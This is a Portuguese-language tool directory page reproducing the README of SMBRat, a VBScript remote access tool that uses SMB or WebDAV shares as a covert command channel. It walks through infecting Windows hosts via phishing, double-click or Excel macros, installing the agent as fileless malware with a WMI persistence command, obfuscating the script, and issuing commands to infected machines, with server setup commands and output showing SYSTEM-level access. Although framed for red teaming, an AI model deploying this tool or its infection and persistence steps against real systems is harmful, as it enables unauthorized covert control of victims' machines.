Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
SMBRat — Uma ferramenta de administração remota para Windows em Visual Basic com caminhos UNC | Kitploit
Ferramentas/GitHubGitHub/operatorequals/smbrat
Ferramentas de PhishingGeração de PayloadsMecanismos de PersistênciaExploraçãoMovimento LateralShellcodePós-ExploraçãoTestes de PenetraçãoComando e ControleRed TeamingFerramenta de Acesso Remoto
2212há 7 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHub
operatorequals/smbrat

SMBRat

Uma ferramenta de administração remota para Windows em Visual Basic com caminhos UNC

Ver Repositório

SMBRat

Uma Ferramenta de Administração Remota do Windows em Visual Basic Script

Ideia

Ambientes Windows, como redes de Active Directory, ficam realmente sobrecarregados com tráfego SMB.

Todos os hosts recebem Políticas do SYSVOL, as configurações precisam de arquivos remotos para funcionar, atalhos de área de trabalho tendem a apontar para \\something\else\in\the\network.exe.

Ninguém notaria mais uma tentativa de conexão. Certo?

- Especialmente se for bem-sucedida (está na moda monitorar apenas Negativas do Firewall)

Ingredientes

Agente

Amigável para Documentação/Arquivamento

O agent é um Visual Basic Script que roda no host infectado e se conecta ao Servidor SMB. Ele cria um diretório lá nomeado com o hostname do host e o endereço MAC principal (tentando ser único e informativo ao mesmo tempo para fins de relatório). Todos os comandos e informações do host infectado serão armazenados nesse diretório. Fazer zip de toda a Pasta Compartilhada arquivará todas as informações do projeto!

Furtivo

Ele NÃO usa uma letra de unidade para montar o compartilhamento, apenas usa UNC paths para ler diretamente arquivos remotos (nenhuma unidade é criada no explorer.exe).

Ele também injeta o UNC path na variável %PATH% do seu próprio ambiente de execução (você pode executar executáveis diretamente do sistema de arquivos da sua máquina Linux).

Execução do Agente

O agent está configurado para executar uma única vez. Sem estado.

Sua rotina é (mais ou menos) a seguinte:

  • Procura por um arquivo chamado exec.dat na pasta que criou no Compartilhamento SMB.
  • Se encontrar o arquivo, ele lê o seu conteúdo e o executa como um comando com cmd.exe /c <command>, como um shell semi-interativo.
  • A resposta do comando é armazenada em output.dat (ao lado de exec.dat).
  • Exclui o arquivo exec.dat.
Página da Wiki para Configurar o Agent

Handler

O handler precisa de um Servidor SMB para funcionar. O módulo smbserver.py do pacote impacket da Core Security serve.

Muito provavelmente smbd também serviria, mas ainda não foi testado.

Configurando o Servidor SMB

É necessário um compartilhamento com o nome D$, para se parecer com o SMB de um host Windows legítimo.

root@kitploit:~
# mkdir Share
# smbserver.py -comment "My Share" "D$" Share/
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

O caso do WebDAV!

Como o agent está configurado para usar apenas caminhos UNC, o WebDAV também pode ser usado com zero mudanças.

Em vez de um servidor SMB, um servidor WebDAV pode ser usado (um ótimo servidor WebDAV com suporte a SSL é o wsgidav).

root@kitploit:~
# mkdir 'D$'
# wsgidav -p 80 -H 0.0.0.0 -r . --auth anonymous
[...] INFO    :  WsgiDAV/3.0.0 Python/2.7.16 Linux-4.19.0-kali3-amd64-x86_64-with-Kali-kali-rolling-kali-rolling
[...] INFO    :  Lock manager:      LockManager(LockStorageDict)
[...] INFO    :  Property manager:  None
[...] INFO    :  Domain controller: SimpleDomainController()
[...] INFO    :  Registered DAV providers by route:
[...] INFO    :    - '/:dir_browser': FilesystemProvider for path '/root/.virtualenvs/wsgidav/local/lib/python2.7/site-packages/wsgidav/dir_browser/htdocs' (Read-Only) (anonymous)
[...] INFO    :    - '/': FilesystemProvider for path '/tmp/DAV' (Read-Write) (anonymous)
[...] WARNING :  Basic authentication is enabled: It is highly recommended to enable SSL.
[...] WARNING :  Share '/:dir_browser' will allow anonymous read access.
[...] WARNING :  Share '/' will allow anonymous write access.
[...] INFO    :  Running WsgiDAV/3.0.0 Cheroot/6.5.4 Python/2.7.16
[...] INFO    :  Serving on http://0.0.0.0:80 ...

[...] INFO    :  192.168.163.130 - (anonymous) - [2019-04-18 14:57:53] "PROPFIND /D$/Project1/DESKTOP-I3NFOQ5-John-AA-BB-CC-DD-EE-FF/ping.dat" length=0, depth=0, elap=0.004sec -> 207 Multi-Status

Para o suporte a SSL, os caminhos UNC precisam mudar levemente, de:

root@kitploit:~
\\<Server-IP>\DIR\

para:

root@kitploit:~
\\<Server-IP>@SSL@443\DIR\

Essa mudança só pode ser feita na variável ServerName do agent.vbs, pois todos os caminhos são construídos por ela.

Tenha em mente que os certificados SSL precisam ser confiáveis para o sistema que executa o agent. Certificados autoassinados falharão com avisos.

Esquema de Infecção

Infectar um Host a partir de um arquivo

Um loop While pode ser adicionado ao início do arquivo agent.vbs, com uma instrução de atraso de vários segundos (10 segundos é o ideal), e ele será capaz de infectar hosts Windows por duplo clique / phishing / macros do Excel / etc...

Um loop while True em VBS com atraso de 1 segundo tem esta aparência:

root@kitploit:~
Do While True
	[...]
	WScript.Sleep 1000
Loop

Infectar um Host sem arquivo

No entanto, se um host Windows tiver o RPC habilitado, é possível instalar o arquivo VBS como malware sem arquivo através do WMI e dos exemplos fabulosos do pacote impacket com um comando como:

root@kitploit:~
$ examples/wmipersist.py '<username>:<password>@<hostname/ipaddress>' install -vbs agent.vbs -name smbrat -timer 10

Também é possível utilizar a ferramenta WMI com acesso local para instalar o agent.vbs como malware sem arquivo.

Ofuscação?

Scripts Visual Basic podem ser muito bem ofuscados, codificados em base64 e também minificados.

Pode ser muito útil testá-lo antes de "implantar" 😉

  • Ferramenta Online para Ofuscação de VBS
  • Repositório do Github

Estrutura de Diretórios no Compartilhamento SMB

Nunca crie pastas manualmente na Pasta Compartilhada

Uso Básico

No momento em que este texto foi escrito, nenhum shell Handler foi implementado, então o uso pode ser feito apenas com um comando como watch para inspecionar o arquivo output.dat:

root@kitploit:~
$ watch -n0.2 cat Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/output.dat

e echo para escrever coisas no arquivo exec.dat:

root@kitploit:~
$ echo 'whoami /all' > Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/exec.dat

O handler.py

O shell experimental funciona da seguinte forma:

root@kitploit:~
$ python handler.py Share/
SMBRat> 
# When a new host gets infected:
[+] Agent "DESKTOP-EG4OE7J" (00:0C:29:2B:9F:AF) just checked-in for Project: "projectName"

SMBRat> execall whoami /user

[>] Sending 'whoami /user' to "projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF" ...
		
SMBRat> 
[<] Response from 'projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF': 


USER INFORMATION
----------------

User Name           SID     
=================== ========
nt authority\system S-1-5-18

^^^^^^^^^^^^^^^^^^^^ projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ^^^^^^^^^^^^^^^^^^^^
SMBRat> 
				

Armadilhas Notáveis

SMBv1 não é criptografado :

root@kitploit:~
# tcpdump -i eth0 -A
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes

[...]

15:25:06.695502 IP Deskjet-4540.microsoft-ds > 172.16.47.129.3128: Flags [P.], seq 2876:2971, ack 4791, win 2110, length 95 SMB PACKET: SMBreadX (REPLY)

E...,E@[email protected].../.../....8
.&Mi~.6P..>.......[.SMB........................
.@............ .;........... .net localgroup "administrators"

[...]

15:25:06.702916 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 4917:5111, ack 3097, win 2052, length 194 SMB PACKET: SMBtrans2 (REQUEST)

E...E.@......./.../..8..i~..
.'*P....b.......SMB2......................

.F..z.....(...........z.D.........}..........\.p.r.o.j.e.c.t.N.a.m.e.\.D.E.S.K.T.O.P.-.E.G.4.O.E.7.J.-.0.0.:.0.C.:.2.9.:.2.B.:.9.F.:.A.F.\.o.u.t.p.u.t...d.a.t...

[...]

15:25:06.751372 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 6049:6393, ack 3748, win 2050, length 344 SMB PACKET: SMBwrite (REQUEST)

[email protected]../.../..8..i~. 
.).P....*.....T.SMB........................
.T....$.......'..$.Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Admin
Administrator
defaultuser0
The command completed successfully.

[...]

O tráfego (o conteúdo e os caminhos dos arquivos) é transferido em texto puro se um Servidor SMBv1 for usado (ex.: smbserver.py do impacket).

  • Uma camada de criptografia/ofuscação resolveria totalmente isso!

Todo o Compartilhamento é LEITURA/ESCRITA para Todos:

Todos os agentes podem modificar arquivos armazenados em Todo o Compartilhamento. Ou seja, podem modificar o exec.dat de outros agentes... Um smbmap vai esclarecer:

root@kitploit:~
$ smbmap -H 172.16.47.189
[+] Finding open SMB ports....
[+] User SMB session establishd on 172.16.47.189...
[+] IP: 172.16.47.189:445	Name: Deskjet-4540                                      
	Disk                                                  	Permissions
	----                                                  	-----------
	D$                                                	READ, WRITE
	[!] Unable to remove test directory at \\172.16.47.189\D$\SVNRmxBFAO, plreae remove manually
	IPC$                                              	READ, WRITE
	[!] Unable to remove test directory at \\172.16.47.189\IPC$\SVNRmxBFAO, plreae remove manually

Preste atenção à ausência dos parâmetros -u e -p do smbmap.

Isso é uma sessão NULL (como o login anônimo do FTP). TODOS podem alterar os ARQUIVOS do Compartilhamento e obter Execução Remota de Código em todas as máquinas infectadas.

  • Melhor subir um iptables aqui...

As sessões NÃO são interativas

Digite execall netsh e você perdeu todos os seus agentes. Nenhum responderá, pois o agent.vbs iniciará o shell netsh.exe e ficará esperando que ele termine, para então escrever o conteúdo em output.dat. Mas adivinhe... Ele não vai terminar... Ele vai ficar travado com o netsh> apontando para o vazio.

Baixar ferramenta